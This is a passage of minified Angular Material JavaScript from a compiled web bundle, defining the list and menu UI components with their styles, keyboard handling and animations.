button.mat-list-option{text-align:right}button.mat-list-item::-moz-focus-inner,button.mat-list-option::-moz-focus-inner{border:0}.mat-list-base{padding-top:8px;display:block;-webkit-tap-highlight-color:rgba(0,0,0,0)}.mat-list-base .mat-subheader{height:48px;line-height:16px}.mat-list-base .mat-subheader:first-child{margin-top:-8px}.mat-list-base .mat-list-item,.mat-list-base .mat-list-option{display:block;height:48px;-webkit-tap-highlight-color:rgba(0,0,0,0);width:100%;padding:0}.mat-list-base .mat-list-item .mat-list-item-content,.mat-list-base .mat-list-option .mat-list-item-content{display:flex;flex-direction:row;align-items:center;box-sizing:border-box;padding:0 16px;position:relative;height:inherit}.mat-list-base .mat-list-item .mat-list-item-content-reverse,.mat-list-base .mat-list-option .mat-list-item-content-reverse{display:flex;align-items:center;padding:0 16px;flex-direction:row-reverse;justify-content:space-around}.mat-list-base .mat-list-item .mat-list-item-ripple,.mat-list-base .mat-list-option .mat-list-item-ripple{display:block;top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}.mat-list-base .mat-list-item.mat-list-item-with-avatar,.mat-list-base .mat-list-option.mat-list-item-with-avatar{height:56px}.mat-list-base .mat-list-item.mat-2-line,.mat-list-base .mat-list-option.mat-2-line{height:72px}.mat-list-base .mat-list-item.mat-3-line,.mat-list-base .mat-list-option.mat-3-line{height:88px}.mat-list-base .mat-list-item.mat-multi-line,.mat-list-base .mat-list-option.mat-multi-line{height:auto}.mat-list-base .mat-list-item.mat-multi-line .mat-list-item-content,.mat-list-base .mat-list-option.mat-multi-line .mat-list-item-content{padding-top:16px;padding-bottom:16px}.mat-list-base .mat-list-item .mat-list-text,.mat-list-base .mat-list-option .mat-list-text{display:flex;flex-direction:column;flex:auto;box-sizing:border-box;overflow:hidden;padding:0}.mat-list-base .mat-list-item .mat-list-text>*,.mat-list-base .mat-list-option .mat-list-text>*{margin:0;padding:0;font-weight:normal;font-size:inherit}.mat-list-base .mat-list-item .mat-list-text:empty,.mat-list-base .mat-list-option .mat-list-text:empty{display:none}.mat-list-base .mat-list-item.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,.mat-list-base .mat-list-item.mat-list-option .mat-list-item-content .mat-list-text,.mat-list-base .mat-list-option.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,.mat-list-base .mat-list-option.mat-list-option .mat-list-item-content .mat-list-text{padding-right:0;padding-left:16px}[dir=rtl] .mat-list-base .mat-list-item.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base .mat-list-item.mat-list-option .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base .mat-list-option.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base .mat-list-option.mat-list-option .mat-list-item-content .mat-list-text{padding-right:16px;padding-left:0}.mat-list-base .mat-list-item.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-item.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-option.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-option.mat-list-option .mat-list-item-content-reverse .mat-list-text{padding-left:0;padding-right:16px}[dir=rtl] .mat-list-base .mat-list-item.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base .mat-list-item.mat-list-option .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base .mat-list-option.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base .mat-list-option.mat-list-option .mat-list-item-content-reverse .mat-list-text{padding-right:0;padding-left:16px}.mat-list-base .mat-list-item.mat-list-item-with-avatar.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-item.mat-list-item-with-avatar.mat-list-option .mat-list-item-content .mat-list-text,.mat-list-base .mat-list-option.mat-list-item-with-avatar.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base .mat-list-option.mat-list-item-with-avatar.mat-list-option .mat-list-item-content .mat-list-text{padding-right:16px;padding-left:16px}.mat-list-base .mat-list-item .mat-list-avatar,.mat-list-base .mat-list-option .mat-list-avatar{flex-shrink:0;width:40px;height:40px;border-radius:50%;object-fit:cover}.mat-list-base .mat-list-item .mat-list-avatar~.mat-divider-inset,.mat-list-base .mat-list-option .mat-list-avatar~.mat-divider-inset{margin-left:72px;width:calc(100% - 72px)}[dir=rtl] .mat-list-base .mat-list-item .mat-list-avatar~.mat-divider-inset,[dir=rtl] .mat-list-base .mat-list-option .mat-list-avatar~.mat-divider-inset{margin-left:auto;margin-right:72px}.mat-list-base .mat-list-item .mat-list-icon,.mat-list-base .mat-list-option .mat-list-icon{flex-shrink:0;width:24px;height:24px;font-size:24px;box-sizing:content-box;border-radius:50%;padding:4px}.mat-list-base .mat-list-item .mat-list-icon~.mat-divider-inset,.mat-list-base .mat-list-option .mat-list-icon~.mat-divider-inset{margin-left:64px;width:calc(100% - 64px)}[dir=rtl] .mat-list-base .mat-list-item .mat-list-icon~.mat-divider-inset,[dir=rtl] .mat-list-base .mat-list-option .mat-list-icon~.mat-divider-inset{margin-left:auto;margin-right:64px}.mat-list-base .mat-list-item .mat-divider,.mat-list-base .mat-list-option .mat-divider{position:absolute;bottom:0;left:0;width:100%;margin:0}[dir=rtl] .mat-list-base .mat-list-item .mat-divider,[dir=rtl] .mat-list-base .mat-list-option .mat-divider{margin-left:auto;margin-right:0}.mat-list-base .mat-list-item .mat-divider.mat-divider-inset,.mat-list-base .mat-list-option .mat-divider.mat-divider-inset{position:absolute}.mat-list-base[dense]{padding-top:4px;display:block}.mat-list-base[dense] .mat-subheader{height:40px;line-height:8px}.mat-list-base[dense] .mat-subheader:first-child{margin-top:-4px}.mat-list-base[dense] .mat-list-item,.mat-list-base[dense] .mat-list-option{display:block;height:40px;-webkit-tap-highlight-color:rgba(0,0,0,0);width:100%;padding:0}.mat-list-base[dense] .mat-list-item .mat-list-item-content,.mat-list-base[dense] .mat-list-option .mat-list-item-content{display:flex;flex-direction:row;align-items:center;box-sizing:border-box;padding:0 16px;position:relative;height:inherit}.mat-list-base[dense] .mat-list-item .mat-list-item-content-reverse,.mat-list-base[dense] .mat-list-option .mat-list-item-content-reverse{display:flex;align-items:center;padding:0 16px;flex-direction:row-reverse;justify-content:space-around}.mat-list-base[dense] .mat-list-item .mat-list-item-ripple,.mat-list-base[dense] .mat-list-option .mat-list-item-ripple{display:block;top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar{height:48px}.mat-list-base[dense] .mat-list-item.mat-2-line,.mat-list-base[dense] .mat-list-option.mat-2-line{height:60px}.mat-list-base[dense] .mat-list-item.mat-3-line,.mat-list-base[dense] .mat-list-option.mat-3-line{height:76px}.mat-list-base[dense] .mat-list-item.mat-multi-line,.mat-list-base[dense] .mat-list-option.mat-multi-line{height:auto}.mat-list-base[dense] .mat-list-item.mat-multi-line .mat-list-item-content,.mat-list-base[dense] .mat-list-option.mat-multi-line .mat-list-item-content{padding-top:16px;padding-bottom:16px}.mat-list-base[dense] .mat-list-item .mat-list-text,.mat-list-base[dense] .mat-list-option .mat-list-text{display:flex;flex-direction:column;flex:auto;box-sizing:border-box;overflow:hidden;padding:0}.mat-list-base[dense] .mat-list-item .mat-list-text>*,.mat-list-base[dense] .mat-list-option .mat-list-text>*{margin:0;padding:0;font-weight:normal;font-size:inherit}.mat-list-base[dense] .mat-list-item .mat-list-text:empty,.mat-list-base[dense] .mat-list-option .mat-list-text:empty{display:none}.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content .mat-list-text{padding-right:0;padding-left:16px}[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content .mat-list-text{padding-right:16px;padding-left:0}.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content-reverse .mat-list-text{padding-left:0;padding-right:16px}[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content-reverse .mat-list-text{padding-right:0;padding-left:16px}.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar.mat-list-option .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar.mat-list-option .mat-list-item-content .mat-list-text{padding-right:16px;padding-left:16px}.mat-list-base[dense] .mat-list-item .mat-list-avatar,.mat-list-base[dense] .mat-list-option .mat-list-avatar{flex-shrink:0;width:36px;height:36px;border-radius:50%;object-fit:cover}.mat-list-base[dense] .mat-list-item .mat-list-avatar~.mat-divider-inset,.mat-list-base[dense] .mat-list-option .mat-list-avatar~.mat-divider-inset{margin-left:68px;width:calc(100% - 68px)}[dir=rtl] .mat-list-base[dense] .mat-list-item .mat-list-avatar~.mat-divider-inset,[dir=rtl] .mat-list-base[dense] .mat-list-option .mat-list-avatar~.mat-divider-inset{margin-left:auto;margin-right:68px}.mat-list-base[dense] .mat-list-item .mat-list-icon,.mat-list-base[dense] .mat-list-option .mat-list-icon{flex-shrink:0;width:20px;height:20px;font-size:20px;box-sizing:content-box;border-radius:50%;padding:4px}.mat-list-base[dense] .mat-list-item .mat-list-icon~.mat-divider-inset,.mat-list-base[dense] .mat-list-option .mat-list-icon~.mat-divider-inset{margin-left:60px;width:calc(100% - 60px)}[dir=rtl] .mat-list-base[dense] .mat-list-item .mat-list-icon~.mat-divider-inset,[dir=rtl] .mat-list-base[dense] .mat-list-option .mat-list-icon~.mat-divider-inset{margin-left:auto;margin-right:60px}.mat-list-base[dense] .mat-list-item .mat-divider,.mat-list-base[dense] .mat-list-option .mat-divider{position:absolute;bottom:0;left:0;width:100%;margin:0}[dir=rtl] .mat-list-base[dense] .mat-list-item .mat-divider,[dir=rtl] .mat-list-base[dense] .mat-list-option .mat-divider{margin-left:auto;margin-right:0}.mat-list-base[dense] .mat-list-item .mat-divider.mat-divider-inset,.mat-list-base[dense] .mat-list-option .mat-divider.mat-divider-inset{position:absolute}.mat-nav-list a{text-decoration:none;color:inherit}.mat-nav-list .mat-list-item{cursor:pointer;outline:none}mat-action-list .mat-list-item{cursor:pointer;outline:inherit}.mat-list-option:not(.mat-list-item-disabled){cursor:pointer;outline:none}.mat-list-item-disabled{pointer-events:none}.cdk-high-contrast-active .mat-list-item-disabled{opacity:.5}.cdk-high-contrast-active :host .mat-list-item-disabled{opacity:.5}.cdk-high-contrast-active .mat-list-option:hover,.cdk-high-contrast-active .mat-nav-list .mat-list-item:hover,.cdk-high-contrast-active mat-action-list .mat-list-item:hover{outline:dotted 1px;z-index:1}.cdk-high-contrast-active .mat-list-single-selected-option::after{content:"";position:absolute;top:50%;right:16px;transform:translateY(-50%);width:10px;height:0;border-bottom:solid 10px;border-radius:10px}.cdk-high-contrast-active [dir=rtl] .mat-list-single-selected-option::after{right:auto;left:16px}@media(hover: none){.mat-list-option:not(.mat-list-single-selected-option):not(.mat-list-item-disabled):hover,.mat-nav-list .mat-list-item:not(.mat-list-item-disabled):hover,.mat-action-list .mat-list-item:not(.mat-list-item-disabled):hover{background:none}}\'],encapsulation:2,changeDetection:0}),De})(),je=(()=>{class De{}return De.\\u0275fac=function(ve){return new(ve||De)},De.\\u0275dir=a.lG2({type:De,selectors:[["","mat-list-avatar",""],["","matListAvatar",""]],hostAttrs:[1,"mat-list-avatar"]}),De})(),Ze=(()=>{class De{}return De.\\u0275fac=function(ve){return new(ve||De)},De.\\u0275dir=a.lG2({type:De,selectors:[["","mat-list-icon",""],["","matListIcon",""]],hostAttrs:[1,"mat-list-icon"]}),De})(),le=(()=>{class De{}return De.\\u0275fac=function(ve){return new(ve||De)},De.\\u0275dir=a.lG2({type:De,selectors:[["","mat-subheader",""],["","matSubheader",""]],hostAttrs:[1,"mat-subheader"]}),De})(),Oe=(()=>{class De extends se{constructor(ve,We,xt,Be){super(),this._element=ve,this._isInteractiveList=!1,this._destroyed=new c.xQ,this._disabled=!1,this._isInteractiveList=!!(xt||Be&&"action-list"===Be._getListType()),this._list=xt||Be;const pe=this._getHostElement();"button"===pe.nodeName.toLowerCase()&&!pe.hasAttribute("type")&&pe.setAttribute("type","button"),this._list&&this._list._stateChanges.pipe((0,f.R)(this._destroyed)).subscribe(()=>{We.markForCheck()})}get disabled(){return this._disabled||!(!this._list||!this._list.disabled)}set disabled(ve){this._disabled=(0,u.Ig)(ve)}ngAfterContentInit(){(0,s.E0)(this._lines,this._element)}ngOnDestroy(){this._destroyed.next(),this._destroyed.complete()}_isRippleDisabled(){return!this._isInteractiveList||this.disableRipple||!(!this._list||!this._list.disableRipple)}_getHostElement(){return this._element.nativeElement}}return De.\\u0275fac=function(ve){return new(ve||De)(a.Y36(a.SBq),a.Y36(a.sBO),a.Y36(q,8),a.Y36(ee,8))},De.\\u0275cmp=a.Xpm({type:De,selectors:[["mat-list-item"],["a","mat-list-item",""],["button","mat-list-item",""]],contentQueries:function(ve,We,xt){if(1&ve&&(a.Suo(xt,je,5),a.Suo(xt,Ze,5),a.Suo(xt,s.X2,5)),2&ve){let Be;a.iGM(Be=a.CRH())&&(We._avatar=Be.first),a.iGM(Be=a.CRH())&&(We._icon=Be.first),a.iGM(Be=a.CRH())&&(We._lines=Be)}},hostAttrs:[1,"mat-list-item","mat-focus-indicator"],hostVars:4,hostBindings:function(ve,We){2&ve&&a.ekj("mat-list-item-disabled",We.disabled)("mat-list-item-with-avatar",We._avatar||We._icon)},inputs:{disableRipple:"disableRipple",disabled:"disabled"},exportAs:["matListItem"],features:[a.qOj],ngContentSelectors:G,decls:6,vars:2,consts:[[1,"mat-list-item-content"],["mat-ripple","",1,"mat-list-item-ripple",3,"matRippleTrigger","matRippleDisabled"],[1,"mat-list-text"]],template:function(ve,We){1&ve&&(a.F$t(U),a.TgZ(0,"span",0),a._UZ(1,"span",1),a.Hsn(2),a.TgZ(3,"span",2),a.Hsn(4,1),a.qZA(),a.Hsn(5,2),a.qZA()),2&ve&&(a.xp6(1),a.Q6J("matRippleTrigger",We._getHostElement())("matRippleDisabled",We._isRippleDisabled()))},dependencies:[s.wG],encapsulation:2,changeDetection:0}),De})(),ze=(()=>{class De{}return De.\\u0275fac=function(ve){return new(ve||De)},De.\\u0275mod=a.oAB({type:De}),De.\\u0275inj=a.cJS({imports:[s.uc,s.si,s.BQ,s.us,n.ez,s.uc,s.BQ,s.us,z.t]}),De})()},8255:(At,ae,d)=>{"use strict";d.d(ae,{OP:()=>re,Tx:()=>Et,VK:()=>pe,p6:()=>Je});var n=d(2687),a=d(1281),s=d(9521),u=d(4650),c=d(8929),f=d(2654),E=d(6787),_=d(1086),S=d(8139),g=d(1059),C=d(7545),z=d(2986),H=d(7625),j=d(2198),U=d(8583),G=d(7340),Q=d(4080),oe=d(6895),Ce=d(3238),k=d(445),K=d(8184),se=d(3353),ee=d(7261);const q=["mat-menu-item",""];function we(Dt,Pt){1&Dt&&(u.O4$(),u.TgZ(0,"svg",2),u._UZ(1,"polygon",3),u.qZA())}const ce=["*"];function je(Dt,Pt){if(1&Dt){const Ie=u.EpF();u.TgZ(0,"div",0),u.NdJ("keydown",function(x){u.CHM(Ie);const m=u.oxw();return u.KtG(m._handleKeydown(x))})("click",function(){u.CHM(Ie);const x=u.oxw();return u.KtG(x.closed.emit("click"))})("@transformMenu.start",function(x){u.CHM(Ie);const m=u.oxw();return u.KtG(m._onAnimationStart(x))})("@transformMenu.done",function(x){u.CHM(Ie);const m=u.oxw();return u.KtG(m._onAnimationDone(x))}),u.TgZ(1,"div",1),u.Hsn(2),u.qZA()()}if(2&Dt){const Ie=u.oxw();u.Q6J("id",Ie.panelId)("ngClass",Ie._classList)("@transformMenu",Ie._panelAnimationState),u.uIk("aria-label",Ie.ariaLabel||null)("aria-labelledby",Ie.ariaLabelledby||null)("aria-describedby",Ie.ariaDescribedby||null)}}const Ze={transformMenu:(0,G.X$)("transformMenu",[(0,G.SB)("void",(0,G.oB)({opacity:0,transform:"scale(0.8)"})),(0,G.eR)("void => enter",(0,G.jt)("120ms cubic-bezier(0, 0, 0.2, 1)",(0,G.oB)({opacity:1,transform:"scale(1)"}))),(0,G.eR)("* => void",(0,G.jt)("100ms 25ms linear",(0,G.oB)({opacity:0})))]),fadeInItems:(0,G.X$)("fadeInItems",[(0,G.SB)("showing",(0,G.oB)({opacity:1})),(0,G.eR)("void => *",[(0,G.oB)({opacity:0}),(0,G.jt)("400ms 100ms cubic-bezier(0.55, 0, 0.55, 0.2)")])])},Qe=new u.OlP("MatMenuContent"),ze=new u.OlP("MAT_MENU_PANEL"),De=(0,Ce.Kr)((0,Ce.Id)(class{}));let re=(()=>{class Dt extends De{constructor(Ie,te,x,m,b){super(),this._elementRef=Ie,this._document=te,this._focusMonitor=x,this._parentMenu=m,this._changeDetectorRef=b,this.role="menuitem",this._hovered=new c.xQ,this._focused=new c.xQ,this._highlighted=!1,this._triggersSubmenu=!1,m?.addItem?.(this)}focus(Ie,te){this._focusMonitor&&Ie?this._focusMonitor.focusVia(this._getHostElement(),Ie,te):this._getHostElement().focus(te),this._focused.next(this)}ngAfterViewInit(){this._focusMonitor&&this._focusMonitor.monitor(this._elementRef,!1)}ngOnDestroy(){this._focusMonitor&&this._focusMonitor.stopMonitoring(this._elementRef),this._parentMenu&&this._parentMenu.removeItem&&this._parentMenu.removeItem(this),this._hovered.complete(),this._focused.complete()}_getTabIndex(){return this.disabled?"-1":"0"}_getHostElement(){return this._elementRef.nativeElement}_checkDisabled(Ie){this.disabled&&(Ie.preventDefault(),Ie.stopPropagation())}_handleMouseEnter(){this._hovered.next(this)}getLabel(){const Ie=this._elementRef.nativeElement.cloneNode(!0),te=Ie.querySelectorAll("mat-icon, .material-icons");for(let x=0;x<te.length;x++)te[x].remove();return Ie.textContent?.trim()||""}_setHighlighted(Ie){this._highlighted=Ie,this._changeDetectorRef?.markForCheck()}_hasFocus(){return this._document&&this._document.activeElement===this._getHostElement()}}return Dt.\\u0275fac=function(Ie){return new(Ie||Dt)(u.Y36(u.SBq),u.Y36(oe.K0),u.Y36(n.tE),u.Y36(ze,8),u.Y36(u.sBO))},Dt.\\u0275cmp=u.Xpm({type:Dt,selectors:[["","mat-menu-item",""]],hostAttrs:[1,"mat-focus-indicator"],hostVars:10,hostBindings:function(Ie,te){1&Ie&&u.NdJ("click",function(m){return te._checkDisabled(m)})("mouseenter",function(){return te._handleMouseEnter()}),2&Ie&&(u.uIk("role",te.role)("tabindex",te._getTabIndex())("aria-disabled",te.disabled.toString())("disabled",te.disabled||null),u.ekj("mat-menu-item",!0)("mat-menu-item-highlighted",te._highlighted)("mat-menu-item-submenu-trigger",te._triggersSubmenu))},inputs:{disabled:"disabled",disableRipple:"disableRipple",role:"role"},exportAs:["matMenuItem"],features:[u.qOj],attrs:q,ngContentSelectors:ce,decls:3,vars:3,consts:[["matRipple","",1,"mat-menu-ripple",3,"matRippleDisabled","matRippleTrigger"],["class","mat-menu-submenu-icon","viewBox","0 0 5 10","focusable","false",4,"ngIf"],["viewBox","0 0 5 10","focusable","false",1,"mat-menu-submenu-icon"],["points","0,0 5,5 0,10"]],template:function(Ie,te){1&Ie&&(u.F$t(),u.Hsn(0),u._UZ(1,"div",0),u.YNc(2,we,2,0,"svg",1)),2&Ie&&(u.xp6(1),u.Q6J("matRippleDisabled",te.disableRipple||te.disabled)("matRippleTrigger",te._getHostElement()),u.xp6(1),u.Q6J("ngIf",te._triggersSubmenu))},dependencies:[oe.O5,Ce.wG],encapsulation:2,changeDetection:0}),Dt})();const ve=new u.OlP("mat-menu-default-options",{providedIn:"root",factory:function We(){return{overlapTrigger:!1,xPosition:"after",yPosition:"below",backdropClass:"cdk-overlay-transparent-backdrop"}}});let xt=0,Be=(()=>{class Dt{constructor(Ie,te,x,m){this._elementRef=Ie,this._ngZone=te,this._defaultOptions=x,this._changeDetectorRef=m,this._xPosition=this._defaultOptions.xPosition,this._yPosition=this._defaultOptions.yPosition,this._directDescendantItems=new u.n_E,this._tabSubscription=f.w.EMPTY,this._classList={},this._panelAnimationState="void",this._animationDone=new c.xQ,this.overlayPanelClass=this._defaultOptions.overlayPanelClass||"",this.backdropClass=this._defaultOptions.backdropClass,this._overlapTrigger=this._defaultOptions.overlapTrigger,this._hasBackdrop=this._defaultOptions.hasBackdrop,this.closed=new u.vpe,this.close=this.closed,this.panelId="mat-menu-panel-"+xt++}get xPosition(){return this._xPosition}set xPosition(Ie){this._xPosition=Ie,this.setPositionClasses()}get yPosition(){return this._yPosition}set yPosition(Ie){this._yPosition=Ie,this.setPositionClasses()}get overlapTrigger(){return this._overlapTrigger}set overlapTrigger(Ie){this._overlapTrigger=(0,a.Ig)(Ie)}get hasBackdrop(){return this._hasBackdrop}set hasBackdrop(Ie){this._hasBackdrop=(0,a.Ig)(Ie)}set panelClass(Ie){const te=this._previousPanelClass;te&&te.length&&te.split(" ").forEach(x=>{this._classList[x]=!1}),this._previousPanelClass=Ie,Ie&&Ie.length&&(Ie.split(" ").forEach(x=>{this._classList[x]=!0}),this._elementRef.nativeElement.className="")}get classList(){return this.panelClass}set classList(Ie){this.panelClass=Ie}ngOnInit(){this.setPositionClasses()}ngAfterContentInit(){this._updateDirectDescendants(),this._keyManager=new n.Em(this._directDescendantItems).withWrap().withTypeAhead().withHomeAndEnd(),this._tabSubscription=this._keyManager.tabOut.subscribe(()=>this.closed.emit("tab")),this._directDescendantItems.changes.pipe((0,g.O)(this._directDescendantItems),(0,C.w)(Ie=>(0,E.T)(...Ie.map(te=>te._focused)))).subscribe(Ie=>this._keyManager.updateActiveItem(Ie)),this._directDescendantItems.changes.subscribe(Ie=>{const te=this._keyManager;if("enter"===this._panelAnimationState&&te.activeItem?._hasFocus()){const x=Ie.toArray(),m=Math.max(0,Math.min(x.length-1,te.activeItemIndex||0));x[m]&&!x[m].disabled?te.setActiveItem(m):te.setNextItemActive()}})}ngOnDestroy(){this._directDescendantItems.destroy(),this._tabSubscription.unsubscribe(),this.closed.complete()}_hovered(){return this._directDescendantItems.changes.pipe((0,g.O)(this._directDescendantItems),(0,C.w)(te=>(0,E.T)(...te.map(x=>x._hovered))))}addItem(Ie){}removeItem(Ie){}_handleKeydown(Ie){const te=Ie.keyCode,x=this._keyManager;switch(te){case s.hY:(0,s.Vb)(Ie)||(Ie.preventDefault(),this.closed.emit("keydown"));break;case s.oh:this.parentMenu&&"ltr"===this.direction&&this.closed.emit("keydown");break;case s.SV:this.parentMenu&&"rtl"===this.direction&&this.closed.emit("keydown");break;default:return(te===s.LH||te===s.JH)&&x.setFocusOrigin("keyboard"),void x.onKeydown(Ie)}Ie.stopPropagation()}focusFirstItem(Ie="program"){this._ngZone.onStable.pipe((0,z.q)(1)).subscribe(()=>{let te=null;if(this._directDescendantItems.length&&(te=this._directDescendantItems.first._getHostElement().closest(\'[role="menu"]\')),!te||!te.contains(document.activeElement)){const x=this._keyManager;x.setFocusOrigin(Ie).setFirstItemActive(),!x.activeItem&&te&&te.focus()}})}resetActiveItem(){this._keyManager.setActiveItem(-1)}setElevation(Ie){const te=Math.min(this._baseElevation+Ie,24),x=`${this._elevationPrefix}${te}`,m=Object.keys(this._classList).find(b=>b.startsWith(this._elevationPrefix));(!m||m===this._previousElevation)&&(this._previousElevation&&(this._classList[this._previousElevation]=!1),this._classList[x]=!0,this._previousElevation=x)}setPositionClasses(Ie=this.xPosition,te=this.yPosition){const x=this._classList;x["mat-menu-before"]="before"===Ie,x["mat-menu-after"]="after"===Ie,x["mat-menu-above"]="above"===te,x["mat-menu-below"]="below"===te,this._changeDetectorRef?.markForCheck()}_startAnimation(){this._panelAnimationState="enter"}_resetAnimation(){this._panelAnimationState="void"}_onAnimationDone(Ie){this._animationDone.next(Ie),this._isAnimating=!1}_onAnimationStart(Ie){this._isAnimating=!0,"enter"===Ie.toState&&0===this._keyManager.activeItemIndex&&(Ie.element.scrollTop=0)}_updateDirectDescendants(){this._allItems.changes.pipe((0,g.O)(this._allItems)).subscribe(Ie=>{this._directDescendantItems.reset(Ie.filter(te=>te._parentMenu===this)),this._directDescendantItems.notifyOnChanges()})}}return Dt.\\u0275fac=function(Ie){return new(Ie||Dt)(u.Y36(u.SBq),u.Y36(u.R0b),u.Y36(ve),u.Y36(u.sBO))},Dt.\\u0275dir=u.lG2({type:Dt,contentQueries:function(Ie,te,x){if(1&Ie&&(u.Suo(x,Qe,5),u.Suo(x,re,5),u.Suo(x,re,4)),2&Ie){let m;u.iGM(m=u.CRH())&&(te.lazyContent=m.first),u.iGM(m=u.CRH())&&(te._allItems=m),u.iGM(m=u.CRH())&&(te.items=m)}},viewQuery:function(Ie,te){if(1&Ie&&u.Gf(u.Rgc,5),2&Ie){let x;u.iGM(x=u.CRH())&&(te.templateRef=x.first)}},inputs:{backdropClass:"backdropClass",ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],ariaDescribedby:["aria-describedby","ariaDescribedby"],xPosition:"xPosition",yPosition:"yPosition",overlapTrigger:"overlapTrigger",hasBackdrop:"hasBackdrop",panelClass:["class","panelClass"],classList:"classList"},outputs:{closed:"closed",close:"close"}}),Dt})(),pe=(()=>{class Dt extends Be{constructor(Ie,te,x,m){super(Ie,te,x,m),this._elevationPrefix="mat-elevation-z",this._baseElevation=4}}return Dt.\\u0275fac=function(Ie){return new(Ie||Dt)(u.Y36(u.SBq),u.Y36(u.R0b),u.Y36(ve),u.Y36(u.sBO))},Dt.\\u0275cmp=u.Xpm({type:Dt,selectors:[["mat-menu"]],hostVars:3,hostBindings:function(Ie,te){2&Ie&&u.uIk("aria-label",null)("aria-labelledby",null)("aria-describedby",null)},exportAs:["matMenu"],features:[u._Bn([{provide:ze,useExisting:Dt}]),u.qOj],ngContentSelectors:ce,decls:1,vars:0,consts:[["tabindex","-1","role","menu",1,"mat-menu-panel",3,"id","ngClass","keydown","click"],[1,"mat-menu-content"]],template:function(Ie,te){1&Ie&&(u.F$t(),u.YNc(0,je,3,6,"ng-template"))},dependencies:[oe.mk],styles:[\'mat-menu{display:none}.mat-menu-panel{min-width:112px;max-width:280px;overflow:auto;-webkit-overflow-scrolling:touch;max-height:calc(100vh - 48px);border-radius:4px;outline:0;min-height:64px;position:relative}.mat-menu-panel.ng-animating{pointer-events:none}.cdk-high-contrast-active .mat-menu-panel{outline:solid 1px}.mat-menu-content:not(:empty){padding-top:8px;padding-bottom:8px}.mat-menu-item{-webkit-user-select:none;user-select:none;cursor:pointer;outline:none;border:none;-webkit-tap-highlight-color:rgba(0,0,0,0);white-space:nowrap;overflow:hidden;text-overflow:ellipsis;display:block;line-height:48px;height:48px;padding:0 16px;text-align:left;text-decoration:none;max-width:100%;position:relative}.mat-menu-item::-moz-focus-inner{border:0}.mat-menu-item[disabled]{cursor:default}[dir=rtl] .mat-menu-item{text-align:right}.mat-menu-item .mat-icon{margin-right:16px;vertical-align:middle}.mat-menu-item .mat-icon svg{vertical-align:top}[dir=rtl] .mat-menu-item .mat-icon{margin-left:16px;margin-right:0}.mat-menu-item[disabled]::after{display:block;position:absolute;content:"";top:0;left:0;bottom:0;right:0}.cdk-high-contrast-active .mat-menu-item{margin-top:1px}.mat-menu-item-submenu-trigger{padding-right:32px}[dir=rtl] .mat-menu-item-submenu-trigger{padding-right:16px;padding-left:32px}.mat-menu-submenu-icon{position:absolute;top:50%;right:16px;transform:translateY(-50%);width:5px;height:10px;fill:currentColor}[dir=rtl] .mat-menu-submenu-icon{right:auto;left:16px;transform:translateY(-50%) scaleX(-1)}.cdk-high-contrast-active .mat-menu-submenu-icon{fill:CanvasText}button.mat-menu-item{width:100%}.mat-menu-item .mat-menu-ripple{top:0;left:0;right:0;bottom:0;position:absolute;pointer-events:none}\'],encapsulation:2,data:{animation:[Ze.transformMenu,Ze.fadeInItems]},changeDetection:0}),Dt})();const P=new u.OlP("mat-menu-scroll-strategy"),R={provide:P,deps:[K.aV],useFactory:function w(Dt){return()=>Dt.scrollStrategies.reposition()}},_e=(0,se.i$)({passive:!0});let ct=(()=>{class 